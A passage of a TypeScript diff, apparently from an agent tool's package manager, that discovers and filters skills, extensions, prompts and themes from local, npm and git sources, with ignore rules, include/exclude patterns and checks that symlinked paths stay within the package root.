(skipNodeModules && entry.name === "node_modules") { + continue; + } + + const fullPath = join(dir, entry.name); + let isDir = entry.isDirectory(); + let isFile = entry.isFile(); + + if (entry.isSymbolicLink()) { + try { + const stats = statSync(fullPath); + isDir = stats.isDirectory(); + isFile = stats.isFile(); + } catch { + continue; + } + } + + const relPath = toPosixPath(relative(root, fullPath)); + const ignorePath = isDir ? `${relPath}/` : relPath; + if (ig.ignores(ignorePath)) { + continue; + } + + if (isDir) { + files.push(...collectFiles(fullPath, filePattern, skipNodeModules, ig, root)); + } else if (isFile && filePattern.test(entry.name)) { + files.push(fullPath); + } + } + } catch { + // Ignore errors + } + + return files; +} + +type SkillDiscoveryMode = "openclaw" | "agents"; + +function collectSkillEntries( + dir: string, + mode: SkillDiscoveryMode, + ignoreMatcher?: IgnoreMatcher, + rootDir?: string, +): string[] { + const entries: string[] = []; + if (!existsSync(dir)) { + return entries; + } + + const root = rootDir ?? dir; + const ig = ignoreMatcher ?? ignore(); + addIgnoreRules(ig, dir, root); + + try { + const dirEntries = readdirSync(dir, { withFileTypes: true }); + + for (const entry of dirEntries) { + if (entry.name !== "SKILL.md") { + continue; + } + + const fullPath = join(dir, entry.name); + if (!isRealPathWithinRoot(root, fullPath)) { + continue; + } + let isFile = entry.isFile(); + if (entry.isSymbolicLink()) { + try { + isFile = statSync(fullPath).isFile(); + } catch { + continue; + } + } + + const relPath = toPosixPath(relative(root, fullPath)); + if (isFile && !ig.ignores(relPath)) { + entries.push(fullPath); + return entries; + } + } + + for (const entry of dirEntries) { + if (entry.name.startsWith(".")) { + continue; + } + if (entry.name === "node_modules") { + continue; + } + + const fullPath = join(dir, entry.name); + if (!isRealPathWithinRoot(root, fullPath)) { + continue; + } + let isDir = entry.isDirectory(); + let isFile = entry.isFile(); + + if (entry.isSymbolicLink()) { + try { + const stats = statSync(fullPath); + isDir = stats.isDirectory(); + isFile = stats.isFile(); + } catch { + continue; + } + } + + const relPath = toPosixPath(relative(root, fullPath)); + if ( + mode === "openclaw" && + dir === root && + isFile && + entry.name.endsWith(".md") && + !ig.ignores(relPath) + ) { + entries.push(fullPath); + continue; + } + + if (!isDir) { + continue; + } + if (ig.ignores(`${relPath}/`)) { + continue; + } + + entries.push(...collectSkillEntries(fullPath, mode, ig, root)); + } + } catch { + // Ignore errors + } + + return entries; +} + +function collectAutoSkillEntries(dir: string, mode: SkillDiscoveryMode): string[] { + return collectSkillEntries(dir, mode); +} + +function findGitRepoRoot(startDir: string): string | null { + let dir = resolve(startDir); + while (true) { + if (existsSync(join(dir, ".git"))) { + return dir; + } + const parent = dirname(dir); + if (parent === dir) { + return null; + } + dir = parent; + } +} + +function collectAncestorAgentsSkillDirs(startDir: string): string[] { + const skillDirs: string[] = []; + const resolvedStartDir = resolve(startDir); + const gitRepoRoot = findGitRepoRoot(resolvedStartDir); + + let dir = resolvedStartDir; + while (true) { + skillDirs.push(join(dir, ".agents", "skills")); + if (gitRepoRoot && dir === gitRepoRoot) { + break; + } + const parent = dirname(dir); + if (parent === dir) { + break; + } + dir = parent; + } + + return skillDirs; +} + +function collectAutoPromptEntries(dir: string): string[] { + const entries: string[] = []; + if (!existsSync(dir)) { + return entries; + } + + const ig = ignore(); + addIgnoreRules(ig, dir, dir); + + try { + const dirEntries = readdirSync(dir, { withFileTypes: true }); + for (const entry of dirEntries) { + if (entry.name.startsWith(".")) { + continue; + } + if (entry.name === "node_modules") { + continue; + } + + const fullPath = join(dir, entry.name); + if (!isRealPathWithinRoot(dir, fullPath)) { + continue; + } + let isFile = entry.isFile(); + if (entry.isSymbolicLink()) { + try { + isFile = statSync(fullPath).isFile(); + } catch { + continue; + } + } + + const relPath = toPosixPath(relative(dir, fullPath)); + if (ig.ignores(relPath)) { + continue; + } + + if (isFile && entry.name.endsWith(".md")) { + entries.push(fullPath); + } + } + } catch { + // Ignore errors + } + + return entries; +} + +function collectAutoThemeEntries(dir: string): string[] { + const entries: string[] = []; + if (!existsSync(dir)) { + return entries; + } + + const ig = ignore(); + addIgnoreRules(ig, dir, dir); + + try { + const dirEntries = readdirSync(dir, { withFileTypes: true }); + for (const entry of dirEntries) { + if (entry.name.startsWith(".")) { + continue; + } + if (entry.name === "node_modules") { + continue; + } + + const fullPath = join(dir, entry.name); + if (!isRealPathWithinRoot(dir, fullPath)) { + continue; + } + let isFile = entry.isFile(); + if (entry.isSymbolicLink()) { + try { + isFile = statSync(fullPath).isFile(); + } catch { + continue; + } + } + + const relPath = toPosixPath(relative(dir, fullPath)); + if (ig.ignores(relPath)) { + continue; + } + + if (isFile && entry.name.endsWith(".json")) { + entries.push(fullPath); + } + } + } catch { + // Ignore errors + } + + return entries; +} + +function readResourceManifestFile(packageJsonPath: string): ResourceManifest | null { + try { + const content = readFileSync(packageJsonPath, "utf-8"); + const pkg = JSON.parse(content) as { openclaw?: ResourceManifest }; + return pkg.openclaw ?? null; + } catch { + return null; + } +} + +function resolveExtensionEntries(dir: string, rootDir = dir): string[] | null { + const packageJsonPath = join(dir, "package.json"); + if (existsSync(packageJsonPath)) { + const manifest = readResourceManifestFile(packageJsonPath); + if (manifest?.extensions?.length) { + const entries: string[] = []; + for (const extPath of manifest.extensions) { + const resolvedExtPath = resolve(dir, extPath); + if (existsSync(resolvedExtPath) && isRealPathWithinRoot(rootDir, resolvedExtPath)) { + entries.push(resolvedExtPath); + } + } + if (entries.length > 0) { + return entries; + } + } + } + + const indexTs = join(dir, "index.ts"); + const indexJs = join(dir, "index.js"); + if (existsSync(indexTs) && isRealPathWithinRoot(rootDir, indexTs)) { + return [indexTs]; + } + if (existsSync(indexJs) && isRealPathWithinRoot(rootDir, indexJs)) { + return [indexJs]; + } + + return null; +} + +function collectAutoExtensionEntries(dir: string): string[] { + const entries: string[] = []; + if (!existsSync(dir)) { + return entries; + } + + // First check if this directory itself has explicit extension entries (package.json or index) + const rootEntries = resolveExtensionEntries(dir); + if (rootEntries) { + return rootEntries; + } + + // Otherwise, discover extensions from directory contents + const ig = ignore(); + addIgnoreRules(ig, dir, dir); + + try { + const dirEntries = readdirSync(dir, { withFileTypes: true }); + for (const entry of dirEntries) { + if (entry.name.startsWith(".")) { + continue; + } + if (entry.name === "node_modules") { + continue; + } + + const fullPath = join(dir, entry.name); + if (!isRealPathWithinRoot(dir, fullPath)) { + continue; + } + let isDir = entry.isDirectory(); + let isFile = entry.isFile(); + + if (entry.isSymbolicLink()) { + try { + const stats = statSync(fullPath); + isDir = stats.isDirectory(); + isFile = stats.isFile(); + } catch { + continue; + } + } + + const relPath = toPosixPath(relative(dir, fullPath)); + const ignorePath = isDir ? `${relPath}/` : relPath; + if (ig.ignores(ignorePath)) { + continue; + } + + if (isFile && (entry.name.endsWith(".ts") || entry.name.endsWith(".js"))) { + entries.push(fullPath); + } else if (isDir) { + const resolvedEntries = resolveExtensionEntries(fullPath, dir); + if (resolvedEntries) { + entries.push(...resolvedEntries); + } + } + } + } catch { + // Ignore errors + } + + return entries; +} + +/** + * Collect resource files from a directory based on resource type. + * Extensions use smart discovery (index.ts in subdirs), others use recursive collection. + */ +function collectResourceFiles(dir: string, resourceType: ResourceType): string[] { + if (resourceType === "skills") { + return collectSkillEntries(dir, "openclaw"); + } + if (resourceType === "extensions") { + return collectAutoExtensionEntries(dir); + } + return collectFiles(dir, FILE_PATTERNS[resourceType]); +} + +function resolveRealPathIfPossible(path: string): string { + try { + return realpathSync.native(path); + } catch { + return resolve(path); + } +} + +function isPathWithinRoot(root: string, candidate: string): boolean { + const rel = relative(root, candidate); + return rel === "" || (rel !== "" && !rel.startsWith("..") && !isAbsolute(rel)); +} + +function isRealPathWithinRoot(root: string, candidate: string): boolean { + return isPathWithinRoot( + resolveRealPathIfPossible(resolve(root)), + resolveRealPathIfPossible(candidate), + ); +} + +function matchesAnyPattern(filePath: string, patterns: string[], baseDir: string): boolean { + const rel = toPosixPath(relative(baseDir, filePath)); + const name = basename(filePath); + const filePathPosix = toPosixPath(filePath); + const isSkillFile = name === "SKILL.md"; + const parentDir = isSkillFile ? dirname(filePath) : undefined; + const parentRel = isSkillFile ? toPosixPath(relative(baseDir, parentDir!)) : undefined; + const parentName = isSkillFile ? basename(parentDir!) : undefined; + const parentDirPosix = isSkillFile ? toPosixPath(parentDir!) : undefined; + + return patterns.some((pattern) => { + const normalizedPattern = toPosixPath(pattern); + if ( + minimatch(rel, normalizedPattern) || + minimatch(name, normalizedPattern) || + minimatch(filePathPosix, normalizedPattern) + ) { + return true; + } + if (!isSkillFile) { + return false; + } + return ( + minimatch(parentRel!, normalizedPattern) || + minimatch(parentName!, normalizedPattern) || + minimatch(parentDirPosix!, normalizedPattern) + ); + }); +} + +function normalizeExactPattern(pattern: string): string { + const normalized = + pattern.startsWith("./") || pattern.startsWith(".\\") ? pattern.slice(2) : pattern; + return toPosixPath(normalized); +} + +function matchesAnyExactPattern(filePath: string, patterns: string[], baseDir: string): boolean { + if (patterns.length === 0) { + return false; + } + const rel = toPosixPath(relative(baseDir, filePath)); + const name = basename(filePath); + const filePathPosix = toPosixPath(filePath); + const isSkillFile = name === "SKILL.md"; + const parentDir = isSkillFile ? dirname(filePath) : undefined; + const parentRel = isSkillFile ? toPosixPath(relative(baseDir, parentDir!)) : undefined; + const parentDirPosix = isSkillFile ? toPosixPath(parentDir!) : undefined; + + return patterns.some((pattern) => { + const normalized = normalizeExactPattern(pattern); + if (normalized === rel || normalized === filePathPosix) { + return true; + } + if (!isSkillFile) { + return false; + } + return normalized === parentRel || normalized === parentDirPosix; + }); +} + +function getOverridePatterns(entries: string[]): string[] { + return entries.filter( + (pattern) => pattern.startsWith("!") || pattern.startsWith("+") || pattern.startsWith("-"), + ); +} + +function isEnabledByOverrides(filePath: string, patterns: string[], baseDir: string): boolean { + const overrides = getOverridePatterns(patterns); + const excludes = overrides + .filter((pattern) => pattern.startsWith("!")) + .map((pattern) => pattern.slice(1)); + const forceIncludes = overrides + .filter((pattern) => pattern.startsWith("+")) + .map((pattern) => pattern.slice(1)); + const forceExcludes = overrides + .filter((pattern) => pattern.startsWith("-")) + .map((pattern) => pattern.slice(1)); + + let enabled = true; + if (excludes.length > 0 && matchesAnyPattern(filePath, excludes, baseDir)) { + enabled = false; + } + if (forceIncludes.length > 0 && matchesAnyExactPattern(filePath, forceIncludes, baseDir)) { + enabled = true; + } + if (forceExcludes.length > 0 && matchesAnyExactPattern(filePath, forceExcludes, baseDir)) { + enabled = false; + } + return enabled; +} + +/** + * Apply patterns to paths and return a Set of enabled paths. + * Pattern types: + * - Plain patterns: include matching paths + * - `!pattern`: exclude matching paths + * - `+path`: force-include exact path (overrides exclusions) + * - `-path`: force-exclude exact path (overrides force-includes) + */ +function applyPatterns(allPaths: string[], patterns: string[], baseDir: string): Set { + const includes: string[] = []; + const excludes: string[] = []; + const forceIncludes: string[] = []; + const forceExcludes: string[] = []; + + for (const p of patterns) { + if (p.startsWith("+")) { + forceIncludes.push(p.slice(1)); + } else if (p.startsWith("-")) { + forceExcludes.push(p.slice(1)); + } else if (p.startsWith("!")) { + excludes.push(p.slice(1)); + } else { + includes.push(p); + } + } + + // Step 1: Apply includes (or all if no includes) + let result: string[]; + if (includes.length === 0) { + result = [...allPaths]; + } else { + result = allPaths.filter((filePath) => matchesAnyPattern(filePath, includes, baseDir)); + } + + // Step 2: Apply excludes + if (excludes.length > 0) { + result = result.filter((filePath) => !matchesAnyPattern(filePath, excludes, baseDir)); + } + + // Step 3: Force-include (add back from allPaths, overriding exclusions) + if (forceIncludes.length > 0) { + for (const filePath of allPaths) { + if (!result.includes(filePath) && matchesAnyExactPattern(filePath, forceIncludes, baseDir)) { + result.push(filePath); + } + } + } + + // Step 4: Force-exclude (remove even if included or force-included) + if (forceExcludes.length > 0) { + result = result.filter((filePath) => !matchesAnyExactPattern(filePath, forceExcludes, baseDir)); + } + + return new Set(result); +} + +export class DefaultPackageManager implements PackageManager { + private cwd: string; + private agentDir: string; + private settingsManager: SettingsManager; + + constructor(options: PackageManagerOptions) { + this.cwd = options.cwd; + this.agentDir = options.agentDir; + this.settingsManager = options.settingsManager; + } + + async resolve( + onMissing?: (source: string) => Promise, + ): Promise { + const accumulator = this.createAccumulator(); + const globalSettings = this.settingsManager.getGlobalSettings(); + const projectSettings = this.settingsManager.getProjectSettings(); + + // Collect all packages with scope (project first so cwd resources win collisions) + const allPackages: Array<{ pkg: PackageSource; scope: SourceScope }> = []; + for (const pkg of projectSettings.packages ?? []) { + allPackages.push({ pkg, scope: "project" }); + } + for (const pkg of globalSettings.packages ?? []) { + allPackages.push({ pkg, scope: "user" }); + } + + // Dedupe: project scope wins over global for same package identity + const packageSources = this.dedupePackages(allPackages); + await this.resolvePackageSources(packageSources, accumulator, onMissing); + + const globalBaseDir = this.agentDir; + const projectBaseDir = join(this.cwd, CONFIG_DIR_NAME); + + for (const resourceType of RESOURCE_TYPES) { + const target = this.getTargetMap(accumulator, resourceType); + const globalEntries = globalSettings[resourceType] ?? []; + const projectEntries = projectSettings[resourceType] ?? []; + this.resolveLocalEntries( + projectEntries, + resourceType, + target, + { + source: "local", + scope: "project", + origin: "top-level", + }, + projectBaseDir, + ); + this.resolveLocalEntries( + globalEntries, + resourceType, + target, + { + source: "local", + scope: "user", + origin: "top-level", + }, + globalBaseDir, + ); + } + + this.addAutoDiscoveredResources( + accumulator, + globalSettings, + projectSettings, + globalBaseDir, + projectBaseDir, + ); + + return this.toResolvedPaths(accumulator); + } + + async resolveExtensionSources( + sources: string[], + options?: { local?: boolean; temporary?: boolean }, + ): Promise { + const accumulator = this.createAccumulator(); + const scope: SourceScope = options?.temporary + ? "temporary" + : options?.local + ? "project" + : "user"; + const packageSources = sources.map((source) => ({ pkg: source as PackageSource, scope })); + await this.resolvePackageSources(packageSources, accumulator); + return this.toResolvedPaths(accumulator); + } + + private async resolvePackageSources( + sources: Array<{ pkg: PackageSource; scope: SourceScope }>, + accumulator: ResourceAccumulator, + onMissing?: (source: string) => Promise, + ): Promise { + for (const { pkg, scope } of sources) { + const sourceStr = typeof pkg === "string" ? pkg : pkg.source; + const filter = typeof pkg === "object" ? pkg : undefined; + const parsed = this.parseSource(sourceStr); + const metadata: PathMetadata = { source: sourceStr, scope, origin: "package" }; + + if (parsed.type === "local") { + const baseDir = this.getBaseDirForScope(scope); + this.resolveLocalExtensionSource(parsed, accumulator, filter, metadata, baseDir); + continue; + } + + const handleMissing = async (): Promise => { + if (!onMissing) { + return; + } + const action = await onMissing(sourceStr); + if (action === "error") { + throw new Error(`Missing source: ${sourceStr}`); + } + }; + + if (parsed.type === "npm") { + const installedPath = this.getNpmInstallPath(parsed, scope); + const missingOrWrongVersion = + !existsSync(installedPath) || + (parsed.pinned && !this.installedNpmMatchesPinnedVersion(parsed, installedPath)); + if (missingOrWrongVersion) { + await handleMissing(); + continue; + } + metadata.baseDir = installedPath; + this.collectPackageResources(installedPath, accumulator, filter, metadata); + continue; + } + + if (parsed.type === "git") { + const installedPath = this.getGitInstallPath(parsed, scope); + if (!existsSync(installedPath)) { + await handleMissing(); + continue; + } + metadata.baseDir = installedPath; + this.collectPackageResources(installedPath, accumulator, filter, metadata); + } + } + } + + private resolveLocalExtensionSource( + source: LocalSource, + accumulator: ResourceAccumulator, + filter: PackageFilter | undefined, + metadata: PathMetadata, + baseDir: string, + ): void { + const resolved = this.resolvePathFromBase(source.path, baseDir); + if (!existsSync(resolved)) { + return; + } + + try { + const stats = statSync(resolved); + if (stats.isFile()) { + metadata.baseDir = dirname(resolved); + this.addResource(accumulator.extensions, resolved, metadata, true); + return; + } + if (stats.isDirectory()) { + metadata.baseDir = resolved; + const resources = this.collectPackageResources(resolved, accumulator, filter, metadata); + if (!resources) { + this.addResource(accumulator.extensions, resolved, metadata, true); + } + } + } catch { + return; + } + } + + private parseSource(source: string): ParsedSource { + if (source.startsWith("npm:")) { + const spec = source.slice("npm:".length).trim(); + const { name, version } = this.parseNpmSpec(spec); + return { + type: "npm", + spec, + name, + pinned: Boolean(version), + }; + } + + if (isLocalPath(source)) { + return { type: "local", path: source }; + } + + // Try parsing as git URL + const gitParsed = parseGitUrl(source); + if (gitParsed) { + return gitParsed; + } + + return { type: "local", path: source }; + } + + private installedNpmMatchesPinnedVersion(source: NpmSource, installedPath: string): boolean { + const installedVersion = this.getInstalledNpmVersion(installedPath); + if (!installedVersion) { + return false; + } + + const { version: pinnedVersion } = this.parseNpmSpec(source.spec); + if (!pinnedVersion) { + return true; + } + + return installedVersion === pinnedVersion; + } + + private getInstalledNpmVersion(installedPath: string): string | undefined { + const packageJsonPath = join(installedPath, "package.json"); + if (!existsSync(packageJsonPath)) { + return undefined; + } + try { + const content = readFileSync(packageJsonPath, "utf-8"); + const pkg = JSON.parse(content) as { version?: string }; + return pkg.version; + } catch { + return undefined; + } + } + + /** + * Get a unique identity for a package, ignoring version/ref. + * Used to detect when the same package is in both global and project settings. + * For git packages, uses normalized host/path to ensure SSH and HTTPS URLs + * for the same repository are treated as identical. + */ + private getPackageIdentity(source: string, scope?: SourceScope): string { + const parsed = this.parseSource(source); + if (parsed.type === "npm") { + return `npm:${parsed.name}`; + } + if (parsed.type === "git") { + // Use host/path for identity to normalize SSH and HTTPS + return `git:${parsed.host}/${parsed.path}`; + } + if (scope) { + const baseDir = this.getBaseDirForScope(scope); + return `local:${this.resolvePathFromBase(parsed.path, baseDir)}`; + } + return `local:${this.resolvePath(parsed.path)}`; + } + + /** + * Dedupe packages: if same package identity appears in both global and project, + * keep only the project one (project wins). + */ + private dedupePackages( + packages: Array<{ pkg: PackageSource; scope: SourceScope }>, + ): Array<{ pkg: PackageSource; scope: SourceScope }> { + const seen = new Map(); + + for (const entry of packages) { + const sourceStr = typeof entry.pkg === "string" ? entry.pkg : entry.pkg.source; + const identity = this.getPackageIdentity(sourceStr, entry.scope); + + const existing = seen.get(identity); + if (!existing) { + seen.set(identity, entry); + } else if (entry.scope === "project" && existing.scope === "user") { + // Project wins over user + seen.set(identity, entry); + } + // If existing is project and new is global, keep existing (project) + // If both are same scope, keep first one + } + + return Array.from(seen.values()); + } + + private parseNpmSpec(spec: string): { name: string; version?: string } { + const match = spec.match(/^(@?[^@]+(?:\/[^@]+)?)(?:@(.+))?$/); + if (!match) { + return { name: spec }; + } + const name = match[1] ?? spec; + const version = match[2]; + return { name, version }; + } + + private getNpmInstallPath(source: NpmSource, scope: SourceScope): string { + if (scope === "temporary") { + return join(this.getTemporaryDir("npm"), "node_modules", source.name); + } + if (scope === "project") { + return join(this.cwd, CONFIG_DIR_NAME, "npm", "node_modules", source.name); + } + return join(this.agentDir, "npm", "node_modules", source.name); + } + + private getGitInstallPath(source: GitSource, scope: SourceScope): string { + if (scope === "temporary") { + return this.getTemporaryDir(`git-${source.host}`, source.path); + } + if (scope === "project") { + return join(this.cwd, CONFIG_DIR_NAME, "git", source.host, source.path); + } + return join(this.agentDir, "git", source.host, source.path); + } + + private getTemporaryDir(prefix: string, suffix?: string): string { + const hash = createHash("sha256") + .update(`${prefix}-${suffix ?? ""}`) + .digest("hex") + .slice(0, 8); + return join(tmpdir(), "openclaw-resources", prefix, hash, suffix ?? ""); + } + + private getBaseDirForScope(scope: SourceScope): string { + if (scope === "project") { + return join(this.cwd, CONFIG_DIR_NAME); + } + if (scope === "user") { + return this.agentDir; + } + return this.cwd; + } + + private resolvePath(input: string): string { + const trimmed = input.trim(); + if (trimmed === "~") { + return getHomeDir(); + } + if (trimmed.startsWith("~/")) { + return join(getHomeDir(), trimmed.slice(2)); + } + if (trimmed.startsWith("~")) { + return join(getHomeDir(), trimmed.slice(1)); + } + return resolve(this.cwd, trimmed); + } + + private resolvePathFromBase(input: string, baseDir: string): string { + const trimmed = input.trim(); + if (trimmed === "~") { + return getHomeDir(); + } + if (trimmed.startsWith("~/")) { + return join(getHomeDir(), trimmed.slice(2)); + } + if (trimmed.startsWith("~")) { + return join(getHomeDir(), trimmed.slice(1)); + } + return resolve(baseDir, trimmed); + } + + private collectPackageResources( + packageRoot: string, + accumulator: ResourceAccumulator, + filter: PackageFilter | undefined, + metadata: PathMetadata, + ): boolean { + if (filter) { + for (const resourceType of RESOURCE_TYPES) { + const patterns = filter[resourceType as keyof PackageFilter]; + const target = this.getTargetMap(accumulator, resourceType); + if (patterns !== undefined) { + this.applyPackageFilter(packageRoot, patterns, resourceType, target, metadata); + } else { + this.collectDefaultResources(packageRoot, resourceType, target, metadata); + } + } + return true; + } + + const manifest = this.readResourceManifest(packageRoot); + if (manifest) { + for (const resourceType of RESOURCE_TYPES) { + const entries = manifest[resourceType as keyof ResourceManifest]; + this.addManifestEntries( + entries, + packageRoot, + resourceType, + this.getTargetMap(accumulator, resourceType), + metadata, + ); + } + return true; + } + + let hasAnyDir = false; + for (const resourceType of RESOURCE_TYPES) { + const dir = join(packageRoot, resourceType); + if (existsSync(dir)) { + // Collect all files from the directory (all enabled by default) + const files = this.collectConventionResourceFiles(packageRoot, resourceType); + for (const f of files) { + this.addResource(this.getTargetMap(accumulator, resourceType), f, metadata, true); + } + hasAnyDir = true; + } + } + return hasAnyDir; + } + + private collectDefaultResources( + packageRoot: string, + resourceType: ResourceType, + target: Map, + metadata: PathMetadata, + ): void { + const manifest = this.readResourceManifest(packageRoot); + const entries = manifest?.[resourceType as keyof ResourceManifest]; + if (entries) { + this.addManifestEntries(entries, packageRoot, resourceType, target, metadata); + return; + } + const dir = join(packageRoot, resourceType); + if (existsSync(dir)) { + // Collect all files from the directory (all enabled by default) + const files = this.collectConventionResourceFiles(packageRoot, resourceType); + for (const f of files) { + this.addResource(target, f, metadata, true); + } + } + } + + private applyPackageFilter( + packageRoot: string, + userPatterns: string[], + resourceType: ResourceType, + target: Map, + metadata: PathMetadata, + ): void { + const { allFiles } = this.collectManifestFiles(packageRoot, resourceType); + + if (userPatterns.length === 0) { + // Empty array explicitly disables all resources of this type + for (const f of allFiles) { + this.addResource(target, f, metadata, false); + } + return; + } + + // Apply user patterns + const enabledByUser = applyPatterns(allFiles, userPatterns, packageRoot); + + for (const f of allFiles) { + const enabled = enabledByUser.has(f); + this.addResource(target, f, metadata, enabled); + } + } + + /** + * Collect all files from a package for a resource type, applying manifest patterns. + * Returns { allFiles, enabledByManifest } where enabledByManifest is the set of files + * that pass the manifest's own patterns. + */ + private collectManifestFiles( + packageRoot: string, + resourceType: ResourceType, + ): { allFiles: string[]; enabledByManifest: Set } { + const manifest = this.readResourceManifest(packageRoot); + const entries = manifest?.[resourceType as keyof ResourceManifest]; + if (entries && entries.length > 0) { + const allFiles = this.collectFilesFromManifestEntries(entries, packageRoot, resourceType); + const manifestPatterns = entries.filter(isOverridePattern); + const enabledByManifest = + manifestPatterns.length > 0 + ? applyPatterns(allFiles, manifestPatterns, packageRoot) + : new Set(allFiles); + return { allFiles: Array.from(enabledByManifest), enabledByManifest }; + } + + const allFiles = this.collectConventionResourceFiles(packageRoot, resourceType); + return { allFiles, enabledByManifest: new Set(allFiles) }; + } + + private collectConventionResourceFiles( + packageRoot: string, + resourceType: ResourceType, + ): string[] { + const conventionDir = join(packageRoot, resourceType); + if (!existsSync(conventionDir)) { + return []; + } + return this.filterManifestResourcePaths( + collectResourceFiles(conventionDir, resourceType), + packageRoot, + ); + } + + private readResourceManifest(packageRoot: string): ResourceManifest | null { + const packageJsonPath = join(packageRoot, "package.json"); + if (!existsSync(packageJsonPath)) { + return null; + } + + try { + const content = readFileSync(packageJsonPath, "utf-8"); + const pkg = JSON.parse(content) as { openclaw?: ResourceManifest }; + return pkg.openclaw ?? null; + } catch { + return null; + } + } + + private addManifestEntries( + entries: string[] | undefined, + root: string, + resourceType: ResourceType, + target: Map, + metadata: PathMetadata, + ): void { + if (!entries) { + return; + } + + const allFiles = this.collectFilesFromManifestEntries(entries, root, resourceType); + const patterns = entries.filter(isOverridePattern); + const enabledPaths = applyPatterns(allFiles, patterns, root); + + for (const f of allFiles) { + if (enabledPaths.has(f)) { + this.addResource(target, f, metadata, true); + } + } + } + + private collectFilesFromManifestEntries( + entries: string[], + root: string, + resourceType: ResourceType, + ): string[] { + const sourceEntries = entries.filter((entry) => !isOverridePattern(entry)); + const resolved = sourceEntries.flatMap((entry) => { + if (!hasGlobPattern(entry)) { + return [resolve(root, entry)]; + } + + return globSync(entry, { + cwd: root, + absolute: true, + dot: false, + nodir: false, + }).map((match) => resolve(match)); + }); + return this.collectFilesFromPaths( + this.filterManifestResourcePaths(resolved, root), + resourceType, + ); + } + + private filterManifestResourcePaths(paths: string[], root: string): string[] { + const resolvedRoot = resolve(root); + const realRoot = resolveRealPathIfPossible(resolvedRoot); + return paths.filter((path) => { + const resolvedPath = resolve(path); + if (!isPathWithinRoot(resolvedRoot, resolvedPath)) { + return false; + } + return isPathWithinRoot(realRoot, resolveRealPathIfPossible(resolvedPath)); + }); + } + + private resolveLocalEntries( + entries: string[], + resourceType: ResourceType, + target: Map, + metadata: PathMetadata, + baseDir: string, + ): void { + if (entries.length === 0) { + return; + } + + // Collect all files from plain entries (non-pattern entries) + const { plain, patterns } = splitPatterns(entries); + const resolvedPlain = plain.map((p) => this.resolvePathFromBase(p, baseDir)); + const allFiles = this.collectFilesFromPaths(resolvedPlain, resourceType); + + // Determine which files are enabled based on patterns + const enabledPaths = applyPatterns(allFiles, patterns, baseDir); + + // Add all files with their enabled state + for (const f of allFiles) { + this.addResource(target, f, metadata, enabledPaths.has(f)); + } + } + + private addAutoDiscoveredResources( + accumulator: ResourceAccumulator, + globalSettings: ReturnType, + projectSettings: ReturnType, + globalBaseDir: string, + projectBaseDir: string, + ): void { + const userMetadata: PathMetadata = { + source: "auto", + scope: "user", + origin: "top-level", + baseDir: globalBaseDir, + }; + const projectMetadata: PathMetadata = { + source: "auto", + scope: "project", + origin: "top-level", + baseDir: projectBaseDir, + }; + + const userOverrides = { + extensions: globalSettings.extensions ?? [], + skills: globalSettings.skills ?? [], + prompts: globalSettings.prompts ?? [], + themes: globalSettings.themes ?? [], + }; + const projectOverrides = { + extensions: projectSettings.extensions ?? [], + skills: projectSettings.skills ?? [], + prompts: projectSettings.prompts ?? [], + themes: projectSettings.themes ?? [], + }; + + const userDirs = { + extensions: join(globalBaseDir, "extensions"), + skills: join(globalBaseDir, "skills"), + prompts: join(globalBaseDir, "prompts"), + themes: join(globalBaseDir, "themes"), + }; + const projectDirs = { + extensions: join(projectBaseDir, "extensions"), + skills: join(projectBaseDir, "skills"), + prompts: join(projectBaseDir, "prompts"), + themes: join(projectBaseDir, "themes"), + }; + const userAgentsSkillsDir = join(getHomeDir(), ".agents", "skills"); + const projectAgentsSkillDirs = collectAncestorAgentsSkillDirs(this.cwd).filter( + (dir) => resolve(dir) !== resolve(userAgentsSkillsDir), + ); + + const addResources = ( + resourceType: ResourceType, + paths: string[], + metadata: PathMetadata, + overrides: string[], + baseDir: string, + ) => { + const target = this.getTargetMap(accumulator, resourceType); + for (const path of paths) { + const enabled = isEnabledByOverrides(path, overrides, baseDir); + this.addResource(target, path, metadata, enabled); + } + }; + + // Project extensions from the embedded agent project directory. + addResources( + "extensions", + collectAutoExtensionEntries(projectDirs.extensions), + projectMetadata, + projectOverrides.extensions, + projectBaseDir, + ); + + // Project skills from the embedded agent project directory. + addResources( + "skills", + collectAutoSkillEntries(projectDirs.skills, "openclaw"), + projectMetadata, + projectOverrides.skills, + projectBaseDir, + ); + + // Project skills from .agents/ (each with its own baseDir) + for (const agentsSkillsDir of projectAgentsSkillDirs) { + const agentsBaseDir = dirname(agentsSkillsDir); // the .agents directory + const agentsMetadata: PathMetadata = { + ...projectMetadata, + baseDir: agentsBaseDir, + }; + addResources( + "skills", + collectAutoSkillEntries(agentsSkillsDir, "agents"), + agentsMetadata, + projectOverrides.skills, + agentsBaseDir, + ); + } + + addResources( + "prompts", + collectAutoPromptEntries(projectDirs.prompts), + projectMetadata, + projectOverrides.prompts, + projectBaseDir, + ); + addResources( + "themes", + collectAutoThemeEntries(projectDirs.themes), + projectMetadata, + projectOverrides.themes, + projectBaseDir, + ); + + // User extensions from ~/.openclaw/agent/ + addResources( + "extensions", + collectAutoExtensionEntries(userDirs.extensions), + userMetadata, + userOverrides.extensions, + globalBaseDir, + ); + + // User skills from ~/.openclaw/agent/ + addResources( + "skills", + collectAutoSkillEntries(userDirs.skills, "openclaw"), + userMetadata, + userOverrides.skills, + globalBaseDir, + ); + + // User skills from ~/.agents/ (with its own baseDir) + const userAgentsBaseDir = dirname(userAgentsSkillsDir); + const userAgentsMetadata: PathMetadata = { + ...userMetadata, + baseDir: userAgentsBaseDir, + }; + addResources( + "skills", + collectAutoSkillEntries(userAgentsSkillsDir, "agents"), + userAgentsMetadata, + userOverrides.skills, + userAgentsBaseDir, + ); + + addResources( + "prompts", + collectAutoPromptEntries(userDirs.prompts), + userMetadata, + userOverrides.prompts, + globalBaseDir, + ); + addResources( + "themes", + collectAutoThemeEntries(userDirs.themes), + userMetadata, + userOverrides.themes, + globalBaseDir, + ); + } + + private collectFilesFromPaths(paths: string[], resourceType: ResourceType): string[] { + const files: string[] = []; + for (const p of paths) { + if (!existsSync(p)) { + continue; + } + + try { + const stats = statSync(p); + if (stats.isFile()) { + files.push(p); + } else if (stats.isDirectory()) { + files.push(...collectResourceFiles(p, resourceType)); + } + } catch { + // Ignore errors + } + } + return files; + } + + private getTargetMap( + accumulator: ResourceAccumulator, + resourceType: ResourceType, + ): Map { + switch (resourceType) { + case "extensions": + return accumulator.extensions; + case "skills": + return accumulator.skills; + case "prompts": + return accumulator.prompts; + case "themes": + return accumulator.themes; + default: + throw new Error(`Unknown resource type: ${String(resourceType)}`); + } + } + + private addResource( + map: Map, + path: string, + metadata: PathMetadata, + enabled: boolean, + ): void { + if (!path) { + return; + } + if (!map.has(path)) { + map.set(path, { metadata, 